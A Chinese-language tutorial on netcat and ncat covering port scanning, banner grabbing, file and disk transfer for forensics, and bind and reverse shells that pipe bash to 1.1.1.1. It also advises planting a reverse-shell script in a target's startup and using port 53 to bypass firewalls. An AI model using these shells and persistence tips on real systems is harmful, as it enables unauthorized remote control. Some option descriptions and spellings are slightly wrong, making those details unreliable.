.NETcat 简称 nc,安全界叫它瑞士军刀。ncat 也会顺便介绍,弥补了 nc 的不足,被叫做 21 世纪的瑞士军刀。nc 的基本功能如下:
首先还是通过-h来查看使用说明:
nc -h
其中有两个参数用得比较多,v 参数就是列出执行过程的详细信息,n 参数翻译过来就是仅接收 ip 地址,没有 DNS。之所以使用 n 参数,是因为使用命令的过程中只去传入 ip,减少了 nc 把域名解析为 ip 的过程,这样可以节省时间提高效率。
nc 用来进行端口扫描的命令是 nc -nvz ip 地址 端口号,z参数从帮助说明里翻译过来差不多是“不进行 i/o,用来扫描”的意思,可以理解成仅仅是去 ping 去探测目标是否开启指定端口,不进行任何的交互。
被扫描端口处于打开状态
被扫描端口处于关闭状态
z 参数默认扫描的是 tcp 类型,如果需要扫描 udp,则需要使用一个新参数 u。
每一个扫描器的扫描结果都不一定准确,最好多使用几款扫描器对目标进行扫描,综合结果进行判断,会相对更准确一些。
telnet使用率大不如以前了,基本被ssh取代了,最大的弊端在于其明文传输。nc 也是明文方式传输的数据,所以后续需要使用nmap下的ncat工具来结合一下,弥补其不足。nc 在这里可以获取服务器banner信息。用163邮箱服务器作为例子:
nc -nv 123.126.97.79 110
后面还可以通过传递USER、PASSWARD进行登录,但是传递的账户名和密码都是需要加密过的,不能直接传明文,这里不再展开。
根据返回的信息可以知道,其使用的是 coremAIl 邮件系统。
nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。l(小写)参数是监听模式的意思,p参数是指定一个端口。
文本传输
这种相互传输信息和渗透之间的关系是,电子取证的时候可以用。当机器被攻击后,为了不破坏现场,需要提出大量的信息和文件出来做分析,这时候可以用 nc 的这个机制,例如,需要一个命令的输出信息,首先自己机器上监听一个端口,随后在被攻击的机器上执行相关的命令,然后以管道给 nc,指定自己机器的地址和端口,这样输出结果就会到自己机器上,如下图:
ll的执行结果传输给了目标机器
如果输出内容过多,则可以将内容定向输出到文件中:
将接收结果存到ll.txt
ll.txt存入的内容
这里再介绍一个参数q,作用是传输完以后等待指定时间自动断开。
-q的作用
传输文件和目录的这些功能,其实和文本信息传输类似,只不过是把文本信息换成了文件和目录。首先用一台机器监听一个端口,如果有人连接并传来信息时,则将信息使用 > 重定向到文件。另一台机器连接目标指定端口然后通过 < 输出要传送的文件即可。
传输文件:
B向A传输一个mp3文件
A: nc -lp 333 > 1.mp3
B: nc -nv 1.1.1.1 333 < 1.mp3
A向B传输一个mp3文件
A: nc -q 1 -lp 333 < a.mp3
B: nc -nv 1.1.1.1 333 > a.pm3
文件格式没什么限制,只要源文件和接收文件格式一致就行。
传输目录:
tar是打包解包工具,不会使用的可以查一下使用说明
A打包指定的文件夹,打包后的文件传给请求方,music前面的-是代表打包后的文件名的,但是这里直接传输了,有没有具体文件名都可以
B请求目标地址端口,将返回的内容解包
A: tar -cvf - music/ | nc -lp 333 -q 1
B: nc -nv 1.1.1.1 333 | tar -xvf -
加密传输文件需要使用 mcrypt 库,linux 系统默认是没有安装的,需要手动安装。使用和传输文件类似,只需要在传输文件时使用 mcrypt 加密即可。
mcrypt --help
具体使用:
接收端:
nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp3
发送端:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp3 | nc -nv 1.1.1.1 333 -q 1
命令用到的参数有,--flush 立即冲洗输出,-F 输出数据,-b 不保留算法信息,-q 关闭一些不是严重的警告,-d 解密,首先在接收端监听一个端口,等待另一台进行连接传送文件,随后在要传送的机器上把要传送的文件进行加密使用 nc 连接指定的地址和 ip。
发送端第一次需要输入加密的密码,然后回车再次确认密码,接收端输入相应的密码就会收到传输的文件。
实现方式如下:
正向:
被控制端:
nc -lp 333 -c bash
控制端
nc 1.1.1.1 333
反向:
控制端:
nc -lp 333
被控制端:
nc 1.1.1.1 333 -c bash
简单总结就是谁输-c,谁就被控制
原理和传输文件一样,只不过传输的是 bash,windows 系统是 cmd,正向是被控制机器主动指定 bash,然后通过别人连接自己的端口,别人连接自己后,执行的命令就是被控制的机器。反向就是控制端指定bash,连接被控制端后,指定命令的还是被控制的机器。
通常情况下,一般的服务器都会有防火墙,很少会允许其他外在的机器来连接自己的某一个端口,只有某些指定端口可能会允许访问,例如 web 服务的 80 端口。这时正向的 shell 就不起作用了,而防火墙一般都会禁止外在机器来连接自己机器的其他端口,但自己的机器访问外面的端口一般不会做限制,这时候就可以使用反向 shell,也就是攻击者给自己的机器开一个端口,让目标服务器来连自己,并提供bash。为了达到这个目的,可以写一个脚本放到目标服务器的开机启动中,只要目标服务器运行就会连接自己。
当然,有些管理员安全意识比较好的话,也会限制自己的服务器访问外在的一些端口,这种情况很少见,但也有,这时可以指定常用的端口,例如服务器要使用 dns 服务的 53 端口,这时候自己就可以监听 53 让目标服务器来连接自己。
具体实现方式:
服务端:
cat 1.mp4 | nc -lp 333
客户端:
nc -nv 1.1.1.1 333 | mplayer -vo xll -cache 3000 -
其中mplayer在有些Linux中是没有默认安装的,如果没有就手动安装一下。
mplayer -h
其中vo参数是选择驱动程序,cache参数的意思是每秒要接收的播放帧。
我们都知道文件删除的原理,在不格式化的情况下,删除文件后是可以通过一些手段还原回来的,所以在远程电子取证时,远程克隆硬盘就显得很有作用了。
具体使用时需要借助命令dd,首先通过nc监听一个端口,然后通过dd指定要克隆的分区,dd的of参数相当于一个复制功能,然后在另一台机器通过nc连接此端口,dd的if参数相当于粘贴的命令。
接收端:
nc -lp 333 | dd of=/dev/sda
被复制端:
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
nc 也有不足之处,首先就是明文传输,可能会被嗅探。其次对于反向shell,如果其他人通过网络扫描发现了这个端口,也就意味着任何人都可以去监听这个端口进行连接,缺乏身份验证功能。
ncat则弥补了这些缺点,ncat不是linux系统自带的命令,而是nmap中的。ncat的使用参数很多和nc是一样的,可以通过--alow参数来指定允许连接的机器,通过--ssl进行数据的加密。
被控制端:
ncat -c bash --allow 192.168.14.33 -vnl 333 --ssl
控制端:
ncat -nv 1.1.1.1 333 --ssl
通过allow参数即可指定允许连接的机器,这时如果其他人即使扫描到了这个端口也无法进行连接。